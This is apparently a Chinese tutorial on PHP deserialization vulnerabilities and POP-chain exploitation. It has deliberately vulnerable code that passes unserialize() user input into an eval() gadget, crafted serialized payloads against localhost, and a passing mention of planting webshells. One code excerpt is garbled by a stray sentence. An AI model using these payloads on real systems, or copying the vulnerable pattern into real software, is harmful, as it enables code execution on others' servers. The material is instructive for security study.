0x00 序列化与反序列化
序列化：
serialize()把对象转换为字节序列的过程称为对象的序列化
反序列化：
unserialize()把字节序列恢复为对象的过程称为对象的反序列化
0x01 序列化
<?php
$test1 = "wtz2020";
$test2 = array("wtz.2020");
echo serialize($test1);
?>
这里就是转化成7个字节序列
s:strings类型，7：7个字节。
<?php
$test1 = "wtz2020";
$test2 = array("wtz.2020");
echo serialize($test1);
echo serialize($test2);
?>
a:数组类型
i:int型
把数据类型压缩到字符中
序列化的不同结果
这里我在前面文章中已经学习过：
https://www.cnblogs.com/wangtanzhi/p/12193930.html
protected 声明的字段为保护字段，在所声明的类和该类的子类中可见，但在该类的对象实例中不可见。因此保护字段的字段名在序列化时，字段名前面会加上\\0*\\0的前缀。这里的 \\0 表示 ASCII 码为 0 的字符(不可见字符)，而不是 \\0 组合。这也许解释了，为什么如果直接在网址上，传递\\0*\\0username会报错，因为实际上并不是\\0，只是用它来代替ASCII值为0的字符。必须用python传值才可以。
private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，类名和字段名前面都会加上\\0的前缀。字符串长度也包括所加前缀的长度。其中 \\0 字符也是计算长度的。
举个栗子：
<?php
class test{
private $test1 = "wtz2020";
public $test2 = "wtz2020";
protected $test3 = "wtz2020";
}
$test = new test();//实例化一个对象
echo serialize(test);
?>
ps:我们在写序列化时基本模板：
<?php
class x{
}
$x = new x(a);//a通常在上面类中找到
echo serialize($x)
?>
0x02 漏洞本质
unserialize函数的变量可控
php文件中存在可利用的类，类中有魔术方法
0x03 漏洞成因
反序列化对象中存在魔术方法，而且魔术方法中的代码可以被控制，漏洞根据不同的代码可以导致各种攻击，如代码注入，SQL注入，目录遍历等等。
在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 "面向属性编程" ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是__wakeup() 或者是__destruct() 方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止
下面列举些在跟进其函数调用过程中需要关注一些很有价值的函数。
如果在跟进程序过程中发现这些函数就要打起精神,一旦这些函数的参数我们能够控制,就有可能出现高危漏洞.
0x04 魔术方法
__construct()当一个对象创建时被调用
_destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup将在序列化之后立即被调用
这些就是我们要关注的几个魔术方法了，如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话，就容易造成很严重的漏洞了。
0x05漏洞挖掘技巧
通过审计这些包来找到可利用的 POP链。
找PHP链的基本思路.
1.在各大流行的包中搜索 __wakeup() 和 __destruct() 函数.
2.追踪调用过程
3.手工构造 并验证 POP 链
4.开发一个应用使用该库和自动加载机制,来测试exploit.
0x06 代码实例
我们这里写一个php反序列化导致代码执行
魔术方法使用
_destruct()
当一个对象销毁时被调用
<?php
class A{
var $test = "demo";
function __destruct(){ echo $this->test;
} }
$a = $_GET[\'test\'];
$a_unser = unserialize($a);
?>
这里我们只要构造payload：
序列化是我们之前构造好的就不写了
http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:5:”hello”;}
就能控制echo出的变量，导致代码执行
这里我们需要明白要一一对应：
比如：
http://127.0.0.1/test.php?test=O:1:”A”:1:{s:4:”test”;s:7:”wtz2020”;}
在实际应用中，我们可以通过这种类似的方法来写入webshell，但是有时没有魔法方法使用，那么我们该怎么办呢？
利用方法如下：
寻找相同的函数名，把敏感函数和类联系在一起。
代码：
<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en1x();
}
function __destruct() {
$this->test->action();
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize(），我们注意这里面的参数是否可控，在传过来之前要过滤一些危险参数$_GET[\'test\']);
?>
本意上，new一个新的chybeta对象后，调用__construct()，其中又new了ph0en1x对象。在结束后会调用__destruct()，其中会调用action()，从而输出 ph0en1x。
下面是利用过程。构造序列化。
<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en2x();
}
}
class ph0en2x {
var $test2 = "phpinfo();";
}
echo serialize(new chybeta());
?>
得到：
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}
传给index.php的test参数，利用成功
0x07 防御方法
核心函数还是unserialize(），我们注意这里面的参数是否可控，在传过来之前要过滤一些危险参数
参考链接：
https://chybeta.github.io/2017/06/17/浅谈php反序列化漏洞/
https://www.anquanke.com/post/id/84922